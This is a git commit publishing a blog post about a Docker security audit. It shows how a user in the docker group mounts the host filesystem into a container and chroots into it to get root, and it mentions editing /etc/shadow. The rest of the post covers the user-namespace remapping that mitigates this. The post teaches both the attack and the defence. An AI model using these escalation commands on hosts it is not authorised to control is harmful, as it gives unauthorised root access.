Publish article

This commit is contained in:
Aloïs Micard 2020-08-25 11:41:55 +02:00
parent 9b793223a0
commit 0f60516d58

View file

@ -8,21 +8,20 @@ tags = ["Docker", "Security"]
keywords = ["", ""]
description = ""
showFullContent = false
draft = true
+++
I have done a little pentest audit on a friend VPS last week, he was providing Docker runtime
I have done a little security audit on a friend VPS last week, he was providing Docker runtime
to some people, with SSH access, and wanted to know if his setup was secure.
By default, docker only allow to run command as root user, in most case this is not desired since giving
root access equals giving full power over the host. A simple workaround is to add the user to the 'docker'
group so that the user will be able to dial with the docker socket. And that's what my friend has done. But this setup
is **not secure at ALL** by default.
group so that the user will be able to dial with the docker socket. That's what my friend has done. But by default
this is **not secure at ALL**.
Let's see how to use the docker group to gain full root access on the host.
This method is really similar to the [lxc group privilege escalation](https://book.hacktricks.xyz/linux-unix/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation),
and that's how I've found this one.
and that's how I've come up with this one.
# Privilege escalation
@ -34,32 +33,15 @@ creekorful@docker01:~$ id
uid=1001(creekorful) gid=1001(creekorful) groups=1001(creekorful),998(docker)
```
Here we can see that we are in the docker group, so we can use the docker daemon.
Here we can see that we are in the docker group, so we can talk to the docker daemon.
To gain root access one the host, one can create a docker container and mount the host disk
inside it.
This can be done with the following command:
Let's try to display the files inside host /root:
```sh
creekorful@docker01:~$ docker run -it -v /:/mnt/root debian:stable-slim /bin/sh
#
```
Here we are asking docker to create a container using the *debian:stable-slim image*, and run the */bin/sh* command inside it.
```sh
# id
uid=0(root) gid=0(root) groups=0(root)
```
We are now root inside the container. Since Docker has SUID bit set, we were able to mount the whole host disk
inside the /mnt/root partition (*-v /:/mnt/root*).
Let's try to display */root* folder:
```sh
# ls -altr /mnt/root/root
creekorful@docker01:~$ docker run -it -v /:/mnt/root debian:stable-slim ls -altr /mnt/root/root
total 56
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
@ -67,32 +49,104 @@ drwx------ 2 root root 4096 Mar 27 07:52 .ssh
drwx------ 2 root root 4096 Mar 27 22:43 .docker
drwxr-xr-x 3 root root 4096 Mar 27 23:07 .local
drwx------ 3 root root 4096 Jun 8 09:40 .config
-rw------- 1 root root 14924 Jul 7 07:33 .viminfo
drwx------ 6 root root 4096 Jul 7 07:33 .
-rw-r--r-- 1 root root 5253 Jul 10 10:29 .bash_history
drwxr-xr-x 18 root root 4096 Aug 23 20:14 ..
-rw------- 1 root root 14345 Aug 25 09:14 .viminfo
drwx------ 6 root root 4096 Aug 25 09:14 .
-rw-r--r-- 1 root root 5774 Aug 25 09:55 .bash_history
```
It works! One can now change the root password in */etc/shadow* for example
and gain full root access on the host.
Since Docker has SUID bit set, we were able to mount the whole host disk
inside the /mnt/root partition (*-v /:/mnt/root*). And since we are root, we can list */root*.
Now let's try to mount again the host filesystem
and use [chroot](https://linux.die.net/man/1/chroot) to gain full privileges.
```sh
creekorful@docker01:~$ docker run -it -v /:/mnt/root debian:stable-slim chroot /mnt/root
# id
uid=0(root) gid=0(root) groups=0(root)
```
We now have full root access on the host.
# How to mitigate the exploit?
Fortunately solutions exist to prevent this exploit. I will cover the most straightforward one.
Each unix process have a /proc/self/{u,g}id_map files. These files are used to give an ID mapping,
and are inherited.
## Linux namespaces?
Linux has a [namespacing functionality](https://www.man7.org/linux/man-pages/man7/namespaces.7.html) use to
introduce the network, mount, user, ... isolation. Containerization (and therefore Docker) uses these to add security.
Basically each container will run into his own namespaces to isolate it from the host.
The process isolation is implemented using the [user namespace](https://www.man7.org/linux/man-pages/man7/user_namespaces.7.html).
User namespace allow to have a different user inside a namespace than the parent one. We can for example run as root
inside a namespace while being un-privileged.
Let's try this quickly:
```sh
creekorful@docker01:~$ cat /proc/self/{u,g}id_map
0 0 4294967295
root@test-vm:~# id
uid=0(root) gid=0(root) groups=0(root)
root@test-vm:~# unshare -U /bin/sh # create a namespace and execute /bin/sh inside it
$ id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
$ echo $$ # get current pid
29552
```
By running [unshare](https://man7.org/linux/man-pages/man1/unshare.1.html) I have spawn a /bin/sh process
detached from the user namespace (-U). We can see that I'm know running as nobody inside the namespace,
despite being root on the host.
Each unix process have a /proc/\<pid>/{u,g}id_map files.
These files are used to give a user/group ID mapping: we can say something like:
uid 0 in the current namespace is mapped to uid 1000 on the parent namespace. (0 1000 ...)
Let's try to give us an identity in our namespace.
```sh
root@test-vm:~#echo "1000 0 65536" > /proc/29552/uid_map
```
By issuing this command we will override the identity mapping of the namespace in the following way:
- uid in the namespace will start at 1000
- uid will be mapped in the parent namespace starting from 0
- the next 65536 uids will be mapped using this rule
So basically the first uid being assigned in the namespaced process will have uid 1000 and this will
correspond to uid 1000+0 = 1000 in the parent namespace.
Let's confirm that:
```sh
$ id
uid=1000(creekorful) gid=65534(nogroup) groups=65534(nogroup)
```
it works! we are now running as uid 1000 in the user namespace.
## Preventing from using root
So now that we know how the user namespace is working,
we'll see how to use that in our advantage. You just need to know that for Docker,
each container will run in his own user namespace.
Let's inspect the user identity mapping of our container:
```sh
creekorful@docker01:~$ docker run -it -v /:/mnt/root debian:stable-slim chroot /mnt/root
# cat /proc/self/uid_map
0 0 4294967295
```
This file tells us: uid 0 for current process is mapped to parent uid 0, and it's the same up to uid 4294967295.
This file tells us: uid 0 for current namespace is mapped to parent uid 0, and it's the same up to uid 4294967295.
So being root in the container = being root on the host.
What we will do mitigate the exploit is to map container uid 0 to something non-root (!= 0), fortunately this can
be done easily by using /etc/sub{g,u}id files.
What we will do to mitigate the exploit is to map container uid 0 to something non-root (!= 0) on the host (the parent namespace),
fortunately this can be done easily by using /etc/sub{g,u}id [files](https://www.man7.org/linux/man-pages/man5/subuid.5.html).
```sh
creekorful@docker01:~$ cat /etc/sub{g,u}id
@ -100,6 +154,7 @@ debian:100000:65536
creekorful:165536:65536
debian:100000:65536
creekorful:165536:65536
...
```
These files are used to determinate the allowed range of sub {user,group} ID allowed to use by the user.
@ -115,7 +170,7 @@ Add the dockremap entry to the /etc/subuid file:
root@docker01:~# echo 'dockremap:100:65536' >> /etc/subuid
```
By doing this we are saying: root inside the container (0) will be mapped to uid (100) in parent process (on the host).
By doing this we are saying: root inside the container (0) will be mapped to uid (100) in the parent namespace (on the host).
Now we must ask docker to create the container using the *dockremap* user.
This can be done by modifying /etc/docker/daemon.json
@ -130,6 +185,10 @@ This can be done by modifying /etc/docker/daemon.json
And finally, just restart the docker daemon to apply the changes.
```sh
root@docker01:~# systemctl restart docker
```
# Let's try again
```sh
@ -145,9 +204,9 @@ As we can see we are still root inside the container. But what's for the outside
0 100 65536
```
as you can see the lower uid is now 100 instead of 0. We are no more root.
the uid is now 100 instead of 0. We are no more root (our user id on the host is now 0+100=100).
Let's try to check the content of /etc/shadow:
Let's try to check the content of /etc/shadow to make sure it's working:
```sh
# cat /mnt/root/etc/shadow
@ -155,3 +214,5 @@ cat: can't open '/mnt/root/etc/shadow': Permission denied
```
the exploit is now mitigated.
Happy hacking!